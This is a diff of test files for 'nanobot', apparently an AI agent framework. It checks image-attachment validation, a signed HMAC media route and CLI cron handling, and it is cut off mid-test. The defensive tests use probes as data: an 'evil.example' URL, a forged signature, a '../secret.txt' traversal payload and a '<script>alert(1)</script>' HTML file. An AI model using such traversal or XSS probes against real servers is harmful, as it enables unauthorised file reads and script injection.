||||
@pytest.mark.asyncio
|
||||
async def test_image_only_message_allows_empty_text(tmp_path) -> None:
|
||||
"""When media is attached, empty text is acceptable."""
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "",
|
||||
"media": [{"data_url": _tiny_png_data_url()}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_awaited_once()
|
||||
# Error event NOT sent.
|
||||
mock_conn.send.assert_not_awaited()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_when_more_than_four_images(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "hi",
|
||||
"media": [{"data_url": _tiny_png_data_url()}] * 5,
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
mock_conn.send.assert_awaited_once()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["event"] == "error"
|
||||
assert err["detail"] == "image_rejected"
|
||||
assert err["reason"] == "too_many_images"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_on_oversize_payload(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
oversized = b"x" * (9 * 1024 * 1024) # > 8 MB WS limit
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "big",
|
||||
"media": [{"data_url": _data_url("image/png", oversized)}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["detail"] == "image_rejected"
|
||||
assert err["reason"] == "size"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_on_non_image_mime(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "pdf?",
|
||||
"media": [{"data_url": _data_url("application/pdf", b"%PDF-1.4")}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["detail"] == "image_rejected"
|
||||
assert err["reason"] == "mime"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_on_svg_mime(tmp_path) -> None:
|
||||
"""SVG is explicitly rejected — XSS surface inside embedded scripts."""
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "svg",
|
||||
"media": [{"data_url": _data_url("image/svg+xml", b"<svg/>")}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["reason"] == "mime"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_on_malformed_data_url(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "nope",
|
||||
"media": [{"data_url": "http://evil.example/image.png"}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["reason"] == "decode"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_on_broken_base64(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "nope",
|
||||
"media": [{"data_url": "data:image/png;base64,not-valid-base64!!!"}],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["reason"] == "decode"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_when_media_item_shape_wrong(tmp_path) -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "huh",
|
||||
# Not a dict — plain string at the top level.
|
||||
"media": ["data:image/png;base64,XXXX"],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["reason"] == "malformed"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_rejected_when_media_field_is_not_list() -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "huh",
|
||||
"media": "not-a-list",
|
||||
}
|
||||
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["detail"] == "image_rejected"
|
||||
assert err["reason"] == "malformed"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_failed_media_does_not_partially_persist(tmp_path) -> None:
|
||||
"""If the second image is invalid, the first must not be forwarded.
|
||||
|
||||
Also: images already written in this call are cleaned up on failure, so
|
||||
a mixed-valid/invalid batch never leaves orphan files in the media dir.
|
||||
"""
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": "mixed",
|
||||
"media": [
|
||||
{"data_url": _tiny_png_data_url()},
|
||||
{"data_url": _data_url("application/pdf", b"%PDF-1.4")},
|
||||
],
|
||||
}
|
||||
|
||||
with patch(
|
||||
"nanobot.channels.websocket.get_media_dir", return_value=tmp_path
|
||||
):
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["reason"] == "mime"
|
||||
# Partial-batch failures must not leak files to disk.
|
||||
leftover = [p for p in tmp_path.iterdir() if p.is_file()]
|
||||
assert leftover == [], f"orphan media after rejected batch: {leftover}"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_rejects_empty_text_without_media() -> None:
|
||||
"""When no media is attached, whitespace-only content is still rejected
|
||||
(matches the existing behavior for backward compat)."""
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": " ",
|
||||
}
|
||||
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["detail"] == "missing content"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_non_string_content_still_rejected() -> None:
|
||||
channel = _make_channel()
|
||||
mock_conn = AsyncMock()
|
||||
envelope = {
|
||||
"type": "message",
|
||||
"chat_id": "abc123",
|
||||
"content": 42,
|
||||
}
|
||||
|
||||
await channel._dispatch_envelope(mock_conn, "client-1", envelope)
|
||||
|
||||
channel._handle_message.assert_not_awaited()
|
||||
err = json.loads(mock_conn.send.call_args[0][0])
|
||||
assert err["detail"] == "missing content"
|
||||
@@ -0,0 +1,380 @@
|
||||
"""Tests for the signed ``/api/media/<sig>/<payload>`` route and its replay
|
||||
integration on ``/api/sessions/<key>/messages``.
|
||||
|
||||
The route is the return path for images attached to persisted user turns:
|
||||
:meth:`WebSocketChannel._sign_media_path` mints URLs during session reads,
|
||||
and :meth:`WebSocketChannel._handle_media_fetch` serves the bytes back.
|
||||
These tests cover the two halves end-to-end plus the adversarial edges
|
||||
(bad signatures, ``..`` traversal, non-existent files, non-image types).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import functools
|
||||
import hashlib
|
||||
import hmac
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
from nanobot.channels.websocket import (
|
||||
WebSocketChannel,
|
||||
_b64url_decode,
|
||||
_b64url_encode,
|
||||
)
|
||||
from nanobot.session.manager import Session, SessionManager
|
||||
|
||||
|
||||
# PNG magic bytes + a couple of sentinel bytes so we can verify byte-for-byte
|
||||
# round-trip of the served payload. Stays under mimetype + size limits.
|
||||
_PNG_BYTES = (
|
||||
b"\x89PNG\r\n\x1a\n"
|
||||
b"\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
|
||||
b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89"
|
||||
b"\x00\x00\x00\nIDATx\x9cc\x00\x00\x00\x02\x00\x01"
|
||||
b"\x00\x00\x00\x00IEND\xaeB`\x82"
|
||||
)
|
||||
|
||||
|
||||
def _ch(
|
||||
bus: Any,
|
||||
*,
|
||||
session_manager: SessionManager | None = None,
|
||||
port: int,
|
||||
) -> WebSocketChannel:
|
||||
return WebSocketChannel(
|
||||
{
|
||||
"enabled": True,
|
||||
"allowFrom": ["*"],
|
||||
"host": "127.0.0.1",
|
||||
"port": port,
|
||||
"path": "/",
|
||||
"websocketRequiresToken": False,
|
||||
},
|
||||
bus,
|
||||
session_manager=session_manager,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def bus() -> MagicMock:
|
||||
b = MagicMock()
|
||||
b.publish_inbound = AsyncMock()
|
||||
return b
|
||||
|
||||
|
||||
async def _http_get(
|
||||
url: str, headers: dict[str, str] | None = None
|
||||
) -> httpx.Response:
|
||||
return await asyncio.to_thread(
|
||||
functools.partial(httpx.get, url, headers=headers or {}, timeout=5.0)
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# _sign_media_path: the URL minter
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_sign_media_path_rejects_paths_outside_media_root(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""Paths that resolve outside ``get_media_dir()`` must not be signed.
|
||||
|
||||
This is the single most important invariant of the whole scheme:
|
||||
if the minter ever signed an arbitrary path, the HMAC would legitimise
|
||||
it for the fetch handler and we'd hand out a disk-read primitive.
|
||||
"""
|
||||
outside = tmp_path / "secrets" / "cred.txt"
|
||||
outside.parent.mkdir()
|
||||
outside.write_text("nope")
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
channel = _ch(bus, port=0)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
assert channel._sign_media_path(outside) is None
|
||||
# Traversal via the media root is also rejected — the resolve() step
|
||||
# normalises ``..`` out before the relative_to check.
|
||||
assert channel._sign_media_path(media / ".." / "secrets" / "cred.txt") is None
|
||||
|
||||
|
||||
def test_sign_media_path_round_trips_via_hmac(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""The signature embeds exactly ``HMAC-SHA256(secret, payload)[:16]``."""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
(media / "a.png").write_bytes(_PNG_BYTES)
|
||||
channel = _ch(bus, port=0)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
url = channel._sign_media_path(media / "a.png")
|
||||
assert url is not None
|
||||
assert url.startswith("/api/media/")
|
||||
sig, payload = url[len("/api/media/"):].split("/", 1)
|
||||
expected = hmac.new(
|
||||
channel._media_secret, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
assert _b64url_decode(sig) == expected
|
||||
# The payload decodes back to the *relative* path — no absolute-path leaks.
|
||||
assert _b64url_decode(payload).decode() == "a.png"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# /api/media/<sig>/<payload>: the serving handler
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_media_route_serves_signed_file(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""Valid signature + existing file => 200 with correct bytes + MIME."""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
target = media / "round-trip.png"
|
||||
target.write_bytes(_PNG_BYTES)
|
||||
|
||||
channel = _ch(bus, port=29920)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
url_path = channel._sign_media_path(target)
|
||||
assert url_path is not None
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
resp = await _http_get(f"http://127.0.0.1:29920{url_path}")
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
|
||||
assert resp.status_code == 200
|
||||
assert resp.content == _PNG_BYTES
|
||||
assert resp.headers["content-type"].startswith("image/png")
|
||||
# Immutable cache header lets the browser skip round-trips on replay.
|
||||
assert "immutable" in resp.headers.get("cache-control", "")
|
||||
# nosniff keeps the browser from second-guessing our Content-Type.
|
||||
assert resp.headers.get("x-content-type-options") == "nosniff"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_media_route_rejects_bad_signature(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""A payload re-signed with a different secret must 401.
|
||||
|
||||
Protects against a restart: old URLs baked into a stale tab become
|
||||
un-forgeable once ``_media_secret`` regenerates.
|
||||
"""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
(media / "f.png").write_bytes(_PNG_BYTES)
|
||||
|
||||
channel = _ch(bus, port=29921)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
good = channel._sign_media_path(media / "f.png")
|
||||
assert good is not None
|
||||
_, payload = good[len("/api/media/"):].split("/", 1)
|
||||
# Forge a sig with a *different* secret.
|
||||
forged_mac = hmac.new(
|
||||
b"\x00" * 32, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
forged = f"/api/media/{_b64url_encode(forged_mac)}/{payload}"
|
||||
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
resp = await _http_get(f"http://127.0.0.1:29921{forged}")
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
assert resp.status_code == 401
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_media_route_rejects_path_traversal_payload(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""Even a validly-signed ``..`` payload must not escape the media root.
|
||||
|
||||
The signer never *emits* such payloads, but an attacker who somehow
|
||||
obtained the secret (or the channel was misconfigured) must still be
|
||||
stopped by the resolve()+relative_to() guard in the serving path.
|
||||
"""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
secret_file = tmp_path / "secret.txt"
|
||||
secret_file.write_text("classified")
|
||||
|
||||
channel = _ch(bus, port=29922)
|
||||
# Hand-craft a traversal payload the legit signer would refuse to mint.
|
||||
payload = _b64url_encode(b"../secret.txt")
|
||||
mac = hmac.new(
|
||||
channel._media_secret, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
url = f"/api/media/{_b64url_encode(mac)}/{payload}"
|
||||
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
resp = await _http_get(f"http://127.0.0.1:29922{url}")
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
assert resp.status_code == 404
|
||||
assert b"classified" not in resp.content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_media_route_404s_missing_file(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""A signed URL for a file that no longer exists degrades to 404 so the
|
||||
client can fall back to the placeholder tile instead of breaking."""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
target = media / "gone.png"
|
||||
target.write_bytes(_PNG_BYTES)
|
||||
|
||||
channel = _ch(bus, port=29923)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
url_path = channel._sign_media_path(target)
|
||||
assert url_path is not None
|
||||
target.unlink() # the file vanishes between signing and fetching
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
resp = await _http_get(f"http://127.0.0.1:29923{url_path}")
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
assert resp.status_code == 404
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_media_route_degrades_non_image_to_octet_stream(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""A non-image extension must not be served as its native MIME.
|
||||
|
||||
Defence-in-depth: if media_dir ever contained (say) an HTML file, we
|
||||
do not want the browser to render it as HTML via the signed route.
|
||||
"""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
(media / "scary.html").write_bytes(b"<script>alert(1)</script>")
|
||||
|
||||
channel = _ch(bus, port=29924)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
payload = _b64url_encode(b"scary.html")
|
||||
mac = hmac.new(
|
||||
channel._media_secret, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
url = f"/api/media/{_b64url_encode(mac)}/{payload}"
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
resp = await _http_get(f"http://127.0.0.1:29924{url}")
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
assert resp.status_code == 200
|
||||
assert resp.headers["content-type"].startswith("application/octet-stream")
|
||||
# nosniff is the actual defence when we downgrade to octet-stream:
|
||||
# without it the browser might still sniff the bytes as HTML.
|
||||
assert resp.headers.get("x-content-type-options") == "nosniff"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# /api/sessions/<key>/messages: media_urls hydration on session read
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_messages_exposes_signed_media_urls(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""The read path must map persisted ``media`` paths onto signed URLs
|
||||
and strip the raw path — the client never learns the server's layout."""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
img = media / "u.png"
|
||||
img.write_bytes(_PNG_BYTES)
|
||||
|
||||
sm = SessionManager(tmp_path / "ws_state")
|
||||
sess = Session(key="websocket:media-hydrate")
|
||||
sess.add_message("user", "look at this", media=[str(img)])
|
||||
sess.add_message("assistant", "nice")
|
||||
sm.save(sess)
|
||||
|
||||
channel = _ch(bus, session_manager=sm, port=29925)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
boot = await _http_get("http://127.0.0.1:29925/webui/bootstrap")
|
||||
token = boot.json()["token"]
|
||||
auth = {"Authorization": f"Bearer {token}"}
|
||||
resp = await _http_get(
|
||||
"http://127.0.0.1:29925/api/sessions/websocket:media-hydrate/messages",
|
||||
headers=auth,
|
||||
)
|
||||
body = resp.json()
|
||||
# The signed URL round-trips end-to-end: fetching it yields the same bytes.
|
||||
user_msg = next(m for m in body["messages"] if m["role"] == "user")
|
||||
urls = user_msg["media_urls"]
|
||||
assert isinstance(urls, list) and len(urls) == 1
|
||||
assert urls[0]["name"] == "u.png"
|
||||
assert urls[0]["url"].startswith("/api/media/")
|
||||
# Raw paths must not leak to the wire.
|
||||
assert "media" not in user_msg
|
||||
|
||||
# And the URL actually works.
|
||||
fetched = await _http_get(f"http://127.0.0.1:29925{urls[0]['url']}")
|
||||
assert fetched.status_code == 200
|
||||
assert fetched.content == _PNG_BYTES
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_messages_skips_vanished_media(
|
||||
bus: MagicMock, tmp_path: Path
|
||||
) -> None:
|
||||
"""Paths that no longer resolve inside the media root produce no URL —
|
||||
the message is still delivered, just without the preview."""
|
||||
media = tmp_path / "media"
|
||||
media.mkdir()
|
||||
|
||||
sm = SessionManager(tmp_path / "ws_state")
|
||||
sess = Session(key="websocket:vanished")
|
||||
sess.add_message("user", "missing pic", media=[str(media / "absent.png")])
|
||||
sm.save(sess)
|
||||
|
||||
channel = _ch(bus, session_manager=sm, port=29926)
|
||||
with patch("nanobot.channels.websocket.get_media_dir", return_value=media):
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
boot = await _http_get("http://127.0.0.1:29926/webui/bootstrap")
|
||||
token = boot.json()["token"]
|
||||
resp = await _http_get(
|
||||
"http://127.0.0.1:29926/api/sessions/websocket:vanished/messages",
|
||||
headers={"Authorization": f"Bearer {token}"},
|
||||
)
|
||||
user_msg = next(m for m in resp.json()["messages"] if m["role"] == "user")
|
||||
# absent.png lives inside the media root so it *does* get a signed
|
||||
# URL (we don't stat the file at signing time — that would slow
|
||||
# the listing). Fetching the URL is where the 404 surfaces.
|
||||
urls = user_msg.get("media_urls") or []
|
||||
assert len(urls) == 1
|
||||
fetched = await _http_get(f"http://127.0.0.1:29926{urls[0]['url']}")
|
||||
assert fetched.status_code == 404
|
||||
assert "media" not in user_msg
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
@@ -12,6 +12,7 @@ from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.cli.commands import _make_provider, app
|
||||
from nanobot.config.schema import Config
|
||||
from nanobot.cron.types import CronJob, CronPayload
|
||||
from nanobot.providers.factory import ProviderSnapshot
|
||||
from nanobot.providers.openai_codex_provider import _strip_model_prefix
|
||||
from nanobot.providers.registry import find_by_name
|
||||
|
||||
@@ -776,6 +777,15 @@ def _stop_gateway_provider(_config) -> object:
|
||||
raise _StopGatewayError("stop")
|
||||
|
||||
|
||||
def _test_provider_snapshot(provider: object, config: Config) -> ProviderSnapshot:
|
||||
return ProviderSnapshot(
|
||||
provider=provider,
|
||||
model=config.agents.defaults.model,
|
||||
context_window_tokens=config.agents.defaults.context_window_tokens,
|
||||
signature=("test",),
|
||||
)
|
||||
|
||||
|
||||
def _patch_cli_command_runtime(
|
||||
monkeypatch,
|
||||
config: Config,
|
||||
@@ -788,6 +798,8 @@ def _patch_cli_command_runtime(
|
||||
cron_service=None,
|
||||
get_cron_dir=None,
|
||||
) -> None:
|
||||
provider_factory = make_provider or (lambda _config: object())
|
||||
|
||||
monkeypatch.setattr(
|
||||
"nanobot.config.loader.set_config_path",
|
||||
set_config_path or (lambda _path: None),
|
||||
@@ -800,7 +812,15 @@ def _patch_cli_command_runtime(
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.cli.commands._make_provider",
|
||||
make_provider or (lambda _config: object()),
|
||||
provider_factory,
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(provider_factory(_config), _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(provider_factory(config), config),
|
||||
)
|
||||
|
||||
if message_bus is not None:
|
||||
@@ -941,8 +961,36 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
|
||||
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
|
||||
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: provider)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(provider, _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(provider, config),
|
||||
)
|
||||
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
|
||||
|
||||
class _FakeSession:
|
||||
def __init__(self) -> None:
|
||||
self.messages = []
|
||||
|
||||
def add_message(self, role: str, content: str, **kwargs) -> None:
|
||||
self.messages.append({"role": role, "content": content, **kwargs})
|
||||
|
||||
class _FakeSessionManager:
|
||||
def __init__(self, _workspace: Path) -> None:
|
||||
self.session = _FakeSession()
|
||||
seen["session_manager"] = self
|
||||
|
||||
def get_or_create(self, key: str) -> _FakeSession:
|
||||
seen["session_key"] = key
|
||||
return self.session
|
||||
|
||||
def save(self, session: _FakeSession) -> None:
|
||||
seen["saved_session"] = session
|
||||
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", _FakeSessionManager)
|
||||
|
||||
class _FakeCron:
|
||||
def __init__(self, _store_path: Path) -> None:
|
||||
@@ -1019,9 +1067,11 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
assert seen["provider"] is provider
|
||||
assert seen["model"] == "test-model"
|
||||
assert seen["task_context"] == (
|
||||
"[Scheduled Task] Timer finished.\n\n"
|
||||
"Task 'stretch' has been triggered.\n"
|
||||
"Scheduled instruction: Remind me to stretch."
|
||||
"The scheduled time has arrived. Deliver this reminder to the user now, "
|
||||
"as a brief and natural message in their language. Speak directly to them — "
|
||||
"do not narrate progress, summarize, include user IDs, or add status reports "
|
||||
"like 'Done' or 'Reminded'.\n\n"
|
||||
"Reminder: Remind me to stretch."
|
||||
)
|
||||
bus.publish_outbound.assert_awaited_once_with(
|
||||
OutboundMessage(
|
||||
@@ -1030,6 +1080,16 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
content="Time to stretch.",
|
||||
)
|
||||
)
|
||||
assert seen["session_key"] == "telegram:user-1"
|
||||
saved_session = seen["saved_session"]
|
||||
assert isinstance(saved_session, _FakeSession)
|
||||
assert saved_session.messages == [
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "Time to stretch.",
|
||||
"_channel_delivery": True,
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
def test_gateway_cron_job_suppresses_intermediate_progress(
|
||||
@@ -1052,6 +1112,14 @@ def test_gateway_cron_job_suppresses_intermediate_progress(
|
||||
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
|
||||
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
|
||||
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: object())
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(object(), _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(object(), config),
|
||||
)
|
||||
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.bus.events import InboundMessage, OutboundMessage
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.providers.base import LLMResponse
|
||||
|
||||
|
||||
@@ -243,6 +243,93 @@ class TestRestartCommand:
|
||||
assert "Context: 1k/65k (1% of input budget)" in response.content
|
||||
assert "Tasks: 0 active" in response.content
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_history_shows_recent_messages(self):
|
||||
loop, _bus = _make_loop()
|
||||
session = MagicMock()
|
||||
session.get_history.return_value = [
|
||||
{"role": "user", "content": "Hello"},
|
||||
{"role": "assistant", "content": "Hi there!"},
